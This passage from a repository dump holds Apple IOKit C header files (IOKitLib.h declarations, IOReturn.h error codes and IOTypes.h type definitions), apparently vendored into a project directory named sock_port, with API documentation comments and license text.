* * * * * * * * * * * * * * * * * * * * * */ /* * IORegistryEntry, subclass of IOObject */ /*! @function IORegistryEntryGetName @abstract Returns a C-string name assigned to a registry entry. @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's global name. The global name defaults to the entry's meta class name if it has not been named. @param entry The registry entry handle whose name to look up. @param name The caller's buffer to receive the name. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetName( io_registry_entry_t entry, io_name_t name ); /*! @function IORegistryEntryGetNameInPlane @abstract Returns a C-string name assigned to a registry entry, in a specified plane. @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's name in the specified plane or global name if it has not been named in that plane. The global name defaults to the entry's meta class name if it has not been named. @param entry The registry entry handle whose name to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param name The caller's buffer to receive the name. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetNameInPlane( io_registry_entry_t entry, const io_name_t plane, io_name_t name ); /*! @function IORegistryEntryGetLocationInPlane @abstract Returns a C-string location assigned to a registry entry, in a specified plane. @discussion Registry entries can given a location string in a particular plane, or globally. If the entry has had a location set in the specified plane that location string will be returned, otherwise the global location string is returned. If no global location string has been set, an error is returned. @param entry The registry entry handle whose name to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param location The caller's buffer to receive the location string. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetLocationInPlane( io_registry_entry_t entry, const io_name_t plane, io_name_t location ); /*! @function IORegistryEntryGetPath @abstract Create a path for a registry entry. @discussion The path for a registry entry is copied to the caller's buffer. The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available. @param entry The registry entry handle whose path to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param path A char buffer allocated by the caller. @result IORegistryEntryGetPath will fail if the entry is not attached in the plane, or if the buffer is not large enough to contain the path. */ kern_return_t IORegistryEntryGetPath( io_registry_entry_t entry, const io_name_t plane, io_string_t path ); /*! @function IORegistryEntryCreateCFProperties @abstract Create a CF dictionary representation of a registry entry's property table. @discussion This function creates an instantaneous snapshot of a registry entry's property table, creating a CFDictionary analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. @param entry The registry entry handle whose property table to copy. @param properties A CFDictionary is created and returned the caller on success. The caller should release with CFRelease. @param allocator The CF allocator to use when creating the CF containers. @param options No options are currently defined. @result A kern_return_t error code. */ kern_return_t IORegistryEntryCreateCFProperties( io_registry_entry_t entry, CFMutableDictionaryRef * properties, CFAllocatorRef allocator, IOOptionBits options ); /*! @function IORegistryEntryCreateCFProperty @abstract Create a CF representation of a registry entry's property. @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. @param entry The registry entry handle whose property to copy. @param key A CFString specifying the property name. @param allocator The CF allocator to use when creating the CF container. @param options No options are currently defined. @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ CFTypeRef IORegistryEntryCreateCFProperty( io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options ); /*! @function IORegistryEntrySearchCFProperty @abstract Create a CF representation of a registry entry's property. @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. This function will search for a property, starting first with specified registry entry's property table, then iterating recusively through either the parent registry entries or the child registry entries of this entry. Once the first occurrence is found, it will lookup and return the value of the property, using the same semantics as IORegistryEntryCreateCFProperty. The iteration keeps track of entries that have been recursed into previously to avoid loops. @param entry The registry entry at which to start the search. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param key A CFString specifying the property name. @param allocator The CF allocator to use when creating the CF container. @param options kIORegistryIterateRecursively may be set to recurse automatically into the registry hierarchy. Without this option, this method degenerates into the standard IORegistryEntryCreateCFProperty() call. kIORegistryIterateParents may be set to iterate the parents of the entry, in place of the children. @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ CFTypeRef IORegistryEntrySearchCFProperty( io_registry_entry_t entry, const io_name_t plane, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options ); /* @function IORegistryEntryGetProperty - deprecated, use IORegistryEntryCreateCFProperty */ kern_return_t IORegistryEntryGetProperty( io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t * size ); /*! @function IORegistryEntrySetCFProperties @abstract Set CF container based properties in a registry entry. @discussion This is a generic method to pass a CF container of properties to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperties for connection based property setting. The properties are interpreted by the object. @param entry The registry entry whose properties to set. @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IORegistryEntrySetCFProperties( io_registry_entry_t entry, CFTypeRef properties ); /*! @function IORegistryEntrySetCFProperty @abstract Set a CF container based property in a registry entry. @discussion This is a generic method to pass a CF container as a property to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperty for connection based property setting. The property is interpreted by the object. @param entry The registry entry whose property to set. @param propertyName The name of the property as a CFString. @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IORegistryEntrySetCFProperty( io_registry_entry_t entry, CFStringRef propertyName, CFTypeRef property ); /*! @function IORegistryEntryGetChildIterator @abstract Returns an iterator over an registry entry's child entries in a plane. @discussion This method creates an iterator which will return each of a registry entry's child entries in a specified plane. @param entry The registry entry whose children to iterate over. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param iterator The created iterator over the children of the entry, on success. The iterator must be released when the iteration is finished. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetChildIterator( io_registry_entry_t entry, const io_name_t plane, io_iterator_t * iterator ); /*! @function IORegistryEntryGetChildEntry @abstract Returns the first child of a registry entry in a plane. @discussion This function will return the child which first attached to a registry entry in a plane. @param entry The registry entry whose child to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param child The first child of the registry entry, on success. The child must be released by the caller. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetChildEntry( io_registry_entry_t entry, const io_name_t plane, io_registry_entry_t * child ); /*! @function IORegistryEntryGetParentIterator @abstract Returns an iterator over an registry entry's parent entries in a plane. @discussion This method creates an iterator which will return each of a registry entry's parent entries in a specified plane. @param entry The registry entry whose parents to iterate over. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param iterator The created iterator over the parents of the entry, on success. The iterator must be released when the iteration is finished. @result A kern_return_t error. */ kern_return_t IORegistryEntryGetParentIterator( io_registry_entry_t entry, const io_name_t plane, io_iterator_t * iterator ); /*! @function IORegistryEntryGetParentEntry @abstract Returns the first parent of a registry entry in a plane. @discussion This function will return the parent to which the registry entry was first attached in a plane. @param entry The registry entry whose parent to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param child The first parent of the registry entry, on success. The parent must be released by the caller. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetParentEntry( io_registry_entry_t entry, const io_name_t plane, io_registry_entry_t * parent ); /*! @function IORegistryEntryInPlane @abstract Determines if the registry entry is attached in a plane. @discussion This method determines if the entry is attached in a plane to any other entry. @param entry The registry entry. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @result If the entry has a parent in the plane, true is returned, otherwise false is returned. */ boolean_t IORegistryEntryInPlane( io_registry_entry_t entry, const io_name_t plane ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * Matching dictionary creation helpers */ /*! @function IOServiceMatching @abstract Create a matching dictionary that specifies an IOService class match. @discussion A very common matching criteria for IOService is based on its class. IOServiceMatching will create a matching dictionary that specifies any IOService of a class, or its subclasses. The class is specified by C-string name. @param name The class name, as a const C-string. Class matching is successful on IOService's of this class or any subclass. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOServiceMatching( const char * name ); /*! @function IOServiceNameMatching @abstract Create a matching dictionary that specifies an IOService name match. @discussion A common matching criteria for IOService is based on its name. IOServiceNameMatching will create a matching dictionary that specifies an IOService with a given name. Some IOServices created from the OpenFirmware device tree will perform name matching on the standard OF compatible, name, model properties. @param name The IOService name, as a const C-string. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOServiceNameMatching( const char * name ); /*! @function IOBSDNameMatching @abstract Create a matching dictionary that specifies an IOService match based on BSD device name. @discussion IOServices that represent BSD devices have an associated BSD name. This function creates a matching dictionary that will match IOService's with a given BSD name. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param options No options are currently defined. @param bsdName The BSD name, as a const char *. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOBSDNameMatching( mach_port_t masterPort, uint32_t options, const char * bsdName ); /*! @function IOOpenFirmwarePathMatching @abstract Create a matching dictionary that specifies an IOService match based on an OpenFirmware device path. @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function creates a matching dictionary that will match IOService's found with a given OpenFirmware device path. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param options No options are currently defined. @param path The OpenFirmware device path, as a const char *. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOOpenFirmwarePathMatching( mach_port_t masterPort, uint32_t options, const char * path ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @function IOServiceOFPathToBSDName @abstract Utility to look up an IOService from its OpenFirmware device path, and return its BSD device name if available. @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function looks up an IOService object with a given OpenFirmware device path, and returns its associated BSD device name. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param openFirmwarePath The OpenFirmware device path, as a const char *. @param bsdName The BSD name, as a const char *, is copied to the callers buffer. @result A kern_return_t error code. */ kern_return_t IOServiceOFPathToBSDName(mach_port_t masterPort, const io_name_t openFirmwarePath, io_name_t bsdName); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @typedef IOAsyncCallback0 @abstract standard callback function for asynchronous I/O requests with no extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation */ typedef void (*IOAsyncCallback0)(void *refcon, IOReturn result); /*! @typedef IOAsyncCallback1 @abstract standard callback function for asynchronous I/O requests with one extra argument beyond a refcon and result code. This is often a count of the number of bytes transferred @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param arg0 Extra argument */ typedef void (*IOAsyncCallback1)(void *refcon, IOReturn result, void *arg0); /*! @typedef IOAsyncCallback2 @abstract standard callback function for asynchronous I/O requests with two extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param arg0 Extra argument @param arg1 Extra argument */ typedef void (*IOAsyncCallback2)(void *refcon, IOReturn result, void *arg0, void *arg1); /*! @typedef IOAsyncCallback @abstract standard callback function for asynchronous I/O requests with lots of extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param args Array of extra arguments @param numArgs Number of extra arguments */ typedef void (*IOAsyncCallback)(void *refcon, IOReturn result, void **args, uint32_t numArgs); /* Internal use */ kern_return_t OSGetNotificationFromMessage( mach_msg_header_t * msg, uint32_t index, uint32_t * type, uintptr_t * reference, void ** content, vm_size_t * size ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* Internal use */ kern_return_t IOCatalogueSendData( mach_port_t masterPort, uint32_t flag, const char *buffer, uint32_t size ); kern_return_t IOCatalogueTerminate( mach_port_t masterPort, uint32_t flag, io_name_t description ); kern_return_t IOCatalogueGetData( mach_port_t masterPort, uint32_t flag, char **buffer, uint32_t *size ); kern_return_t IOCatalogueModuleLoaded( mach_port_t masterPort, io_name_t name ); kern_return_t IOCatalogueReset( mach_port_t masterPort, uint32_t flag ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ // obsolete API #if !defined(__LP64__) // for Power Mgt typedef struct IOObject IOObject; // for MacOS.app kern_return_t IORegistryDisposeEnumerator( io_enumerator_t enumerator ) DEPRECATED_ATTRIBUTE; kern_return_t IOMapMemory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t * atAddress, vm_size_t * ofSize, uint32_t flags ) DEPRECATED_ATTRIBUTE; // for CGS kern_return_t IOCompatibiltyNumber( mach_port_t connect, uint32_t * objectNumber ) DEPRECATED_ATTRIBUTE; // Traditional IOUserClient transport routines kern_return_t IOConnectMethodScalarIScalarO( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOItemCount scalarOutputCount, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodScalarIStructureO( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOByteCount * structureSize, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodScalarIStructureI( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOByteCount structureSize, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodStructureIStructureO( io_connect_t connect, uint32_t index, IOItemCount structureInputSize, IOByteCount * structureOutputSize, void * inputStructure, void * ouputStructure ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; // Compatability with earlier Mig interface routines #if IOCONNECT_NO_32B_METHODS kern_return_t io_connect_map_memory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t *atAddress, vm_size_t *ofSize, IOOptionBits options) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_unmap_memory( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, vm_address_t atAddress) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_scalarO( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_scalar_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_structureO( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_structureI( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t inputStruct, mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_structureI_structureO( mach_port_t connection, int selector, io_struct_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_scalarO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_scalar_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_structureO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_structureI( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t inputStruct, mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_structureI_structureO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_struct_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; #endif // IOCONNECT_NO_32B_METHODS #endif /* defined(__LP64__) */ __END_DECLS #endif /* ! _IOKIT_IOKITLIB_H */ ================================================ FILE: sock_port/include/IOKit/IOReturn.h ================================================ /* * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * HISTORY */ /* * Core IOReturn values. Others may be family defined. */ #ifndef __IOKIT_IORETURN_H #define __IOKIT_IORETURN_H #ifdef __cplusplus extern "C" { #endif #include typedef kern_return_t IOReturn; #ifndef sys_iokit #define sys_iokit err_system(0x38) #endif /* sys_iokit */ #define sub_iokit_common err_sub(0) #define sub_iokit_usb err_sub(1) #define sub_iokit_firewire err_sub(2) #define sub_iokit_block_storage err_sub(4) #define sub_iokit_graphics err_sub(5) #define sub_iokit_networking err_sub(6) #define sub_iokit_bluetooth err_sub(8) #define sub_iokit_pmu err_sub(9) #define sub_iokit_acpi err_sub(10) #define sub_iokit_smbus err_sub(11) #define sub_iokit_ahci err_sub(12) #define sub_iokit_powermanagement err_sub(13) //#define sub_iokit_hidsystem err_sub(14) #define sub_iokit_scsi err_sub(16) //#define sub_iokit_pccard err_sub(21) #define sub_iokit_vendor_specific err_sub(-2) #define sub_iokit_reserved err_sub(-1) #define iokit_common_err(return) (sys_iokit|sub_iokit_common|return) #define iokit_family_err(sub,return) (sys_iokit|sub|return) #define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return) #define kIOReturnSuccess KERN_SUCCESS // OK #define kIOReturnError iokit_common_err(0x2bc) // general error #define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory #define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage #define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC #define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device #define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation #define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument #define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked #define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked #define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and // device already open #define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages // had different msg_id #define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function #define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure #define kIOReturnInternalError iokit_common_err(0x2c9) // internal error #define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error //#define kIOReturn???Error iokit_common_err(0x2cb) // ??? #define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock #define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open #define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported #define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported #define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error #define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error #define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open #define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure #define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure #define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy #define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout #define kIOReturnOffline iokit_common_err(0x2d7) // device offline #define kIOReturnNotReady iokit_common_err(0x2d8) // not ready #define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached #define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left #define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data //#define kIOReturn???Error iokit_common_err(0x2dc) // ??? #define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists #define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down // physical memory #define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached #define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued #define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received // on interrupt port #define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted #define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device #define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present #define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted #define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode #define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun #define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun #define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly! #define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required #define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted #define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded #define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding #define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past! #define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future #define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found #define kIOReturnInvalid iokit_common_err(0x1) // should never be seen #ifdef __cplusplus } #endif #endif /* ! __IOKIT_IORETURN_H */ ================================================ FILE: sock_port/include/IOKit/IOTypes.h ================================================ /* * Copyright (c) 1998-2006 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ #ifndef __IOKIT_IOTYPES_H #define __IOKIT_IOTYPES_H #ifndef IOKIT #define IOKIT 1 #endif /* !IOKIT */ #if KERNEL #include #else #include #include #endif #include "IOReturn.h" #ifdef __cplusplus extern "C" { #endif #ifndef NULL #if defined (__cplusplus) #define NULL 0 #else #define NULL ((void *)0) #endif #endif /* * Simple data types. */ #ifndef __MACTYPES__ /* CF MacTypes.h */ #ifndef __TYPES__ /* guess... Mac Types.h */ #include #include #endif /* __TYPES__ */ #endif /* __MACTYPES__ */ #if KERNEL #include #endif typedef UInt32 IOOptionBits; typedef SInt32 IOFixed; typedef UInt32 IOVersion; typedef UInt32 IOItemCount; typedef UInt32 IOCacheMode; typedef UInt32 IOByteCount32; typedef UInt64 IOByteCount64; typedef UInt32 IOPhysicalAddress32; typedef UInt64 IOPhysicalAddress64; typedef UInt32 IOPhysicalLength32; typedef UInt64 IOPhysicalLength64; #ifdef __LP64__ typedef mach_vm_address_t IOVirtualAddress; #else typedef vm_address_t IOVirtualAddress; #endif #if defined(__LP64__) && defined(KERNEL) typedef IOByteCount64 IOByteCount; #else typedef IOByteCount32 IOByteCount; #endif typedef IOVirtualAddress IOLogicalAddress; #if defined(__LP64__) && defined(KERNEL) typedef IOPhysicalAddress64 IOPhysicalAddress; typedef IOPhysicalLength64 IOPhysicalLength; #define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32)) #define IOPhysSize 64 #else typedef IOPhysicalAddress32 IOPhysicalAddress; typedef IOPhysicalLength32 IOPhysicalLength; #define IOPhysical32( hi, lo ) (lo) #define IOPhysSize 32 #endif typedef struct { IOPhysicalAddress address; IOByteCount length; } IOPhysicalRange; typedef struct { IOVirtualAddress address; IOByteCount length; } IOVirtualRange; #ifdef __LP64__ typedef IOVirtualRange IOAddressRange; #else /* !__LP64__ */ typedef struct { mach_vm_address_t address; mach_vm_size_t length; } IOAddressRange; #endif /* !__LP64__ */ /* * Map between #defined or enum'd constants and text description. */ typedef struct { int value; const char *name; } IONamedValue; /* * Memory alignment -- specified as a power of two. */ typedef unsigned int IOAlignment; #define IO_NULL_VM_TASK ((vm_task_t)0) /* * Pull in machine specific stuff. */ //#include #ifndef MACH_KERNEL #ifndef __IOKIT_PORTS_DEFINED__ #define __IOKIT_PORTS_DEFINED__ #ifdef KERNEL typedef struct OSObject * io_object_t; #else /* KERNEL */ typedef mach_port_t io_object_t; #endif /* KERNEL */ #endif /* __IOKIT_PORTS_DEFINED__ */ #include typedef io_object_t io_connect_t; typedef io_object_t io_enumerator_t; typedef io_object_t io_iterator_t; typedef io_object_t io_registry_entry_t; typedef io_object_t io_service_t; #define IO_OBJECT_NULL ((io_object_t) 0) #endif /* MACH_KERNEL */ // IOConnectMapMemory memoryTypes enum { kIODefaultMemoryType = 0 }; enum { kIODefaultCache = 0, kIOInhibitCache = 1, kIOWriteThruCache = 2, kIOCopybackCache = 3, kIOWriteCombineCache = 4 }; // IOMemory mapping options enum { kIOMapAnywhere = 0x00000001, kIOMapCacheMask = 0x00000700, kIOMapCacheShift = 8, kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift, kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift, kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift, kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift, kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift, kIOMapUserOptionsMask = 0x00000fff, kIOMapReadOnly = 0x00001000, kIOMapStatic = 0x01000000, kIOMapReference = 0x02000000, kIOMapUnique = 0x04000000 #ifdef XNU_KERNEL_PRIVATE , kIOMap64Bit = 0x08000000 #endif }; /*! @enum Scale Factors @discussion Used when a scale_factor parameter is required to define a unit of time. @constant kNanosecondScale Scale factor for nanosecond based times. @constant kMicrosecondScale Scale factor for microsecond based times. @constant kMillisecondScale Scale factor for millisecond based times. @constant kTickScale Scale factor for the standard (100Hz) tick. @constant kSecondScale Scale factor for second based times. */ enum { kNanosecondScale = 1, kMicrosecondScale = 1000, kMillisecondScale = 1000 * 1000, kSecondScale = 1000 * 1000 * 1000, kTickScale = (kSecondScale / 100) }; /* compatibility types */ #ifndef KERNEL typedef unsigned int IODeviceNumber; #endif #ifdef __cplusplus } #endif #endif /* ! __IOKIT_IOTYPES_H */ ================================================ FILE: sock_port/include/IOKit/OSMessageNotification.h ================================================ /* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. Please obtain a copy of the License at * 